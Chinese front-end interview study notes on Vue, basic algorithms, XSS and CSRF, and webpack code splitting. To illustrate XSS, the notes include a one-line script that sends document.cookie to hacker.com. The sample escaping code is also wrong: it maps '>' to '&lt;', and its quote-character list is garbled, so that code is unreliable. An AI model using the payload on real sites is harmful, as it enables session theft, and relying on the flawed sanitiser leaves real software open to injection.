前端面试必考篇—VUE、算法、webpack

Posted on
  1. （必考）Vue 有哪些生命周期钩子函数？
  2. （必考）Vue 如何实现组件通信？
    1. 父子通信（使用 Prop 传递数据、使用 v-on 绑定自定义事件）
    2. 爷孙通信（通过两对父子通信，爷爸之间父子通信，爸儿之间父子通信）
    3. 兄弟通信（new Vue() 作为 eventBus）1
  3. Vuex 的作用是什么？
  4. VueRouter 路由是什么？
    • 看文档、博客
  5. Vue 的双向绑定是如何实现的？有什么缺点？
  6. Computed 计算属性的用法？跟 Methods 的区别。 https://zhuanlan.zhihu.com/p/337785944

算法

  1. 排序算法（背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序）
  2. 二分查找法
  3. 翻转二叉树

把上面三个背一下，算法题必过。

安全押题

  1. 什么是 XSS 攻击？如何预防？

    • 举例

      1
      2
      div.innerHTML = userComment  // userComment 内容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
      // 恶意就被执行了，这就是 XSS

    • 预防

      1. 不要使用 innerHTML，改成 innerText，script 就会被当成文本，不执行
      2. 如果你一样要用 innerHTML，字符过滤
        • 把 < 替换成 &lt;
        • 把 > 替换成 &gt;
        • 把 & 替换成 &amp;
        • 把 ’ 替换成 &#39;
        • 把 ’ 替换成 &quot;
        • 代码 div.innerHTML = userComment.replace(/>/g, ‘&lt;’).replace…
      3. 使用 CSP Content Security Policy

  2. 什么是 CSRF 攻击？如何预防？

    • 过程
      1. 用户在 qq.com 登录
      2. 用户切换到 hacker.com（恶意网站）
      3. hacker.com 发送一个 qq.com/add_friend 请求，让当前用户添加 hacker 为好友。
      4. 用户在不知不觉中添加 hacker 为好友。
      5. 用户没有想发这个请求，但是 hacker 伪造了用户发请求的假象。
    • 避免
      1. 检查 referer，qq.com 可以拒绝来自 hacker.com 的请求
      2. csrf_token 来解决

Webpack

  1. 转译出的文件过大怎么办？
    • 使用 code split
    • 写法 import(‘xxx’).then(xxx=>{console.log(xxx)})
    • xxx 模块就是按需加载的
  2. 转译速度慢什么办？
    • 方方不会。
  3. 写过 webpack loader 吗？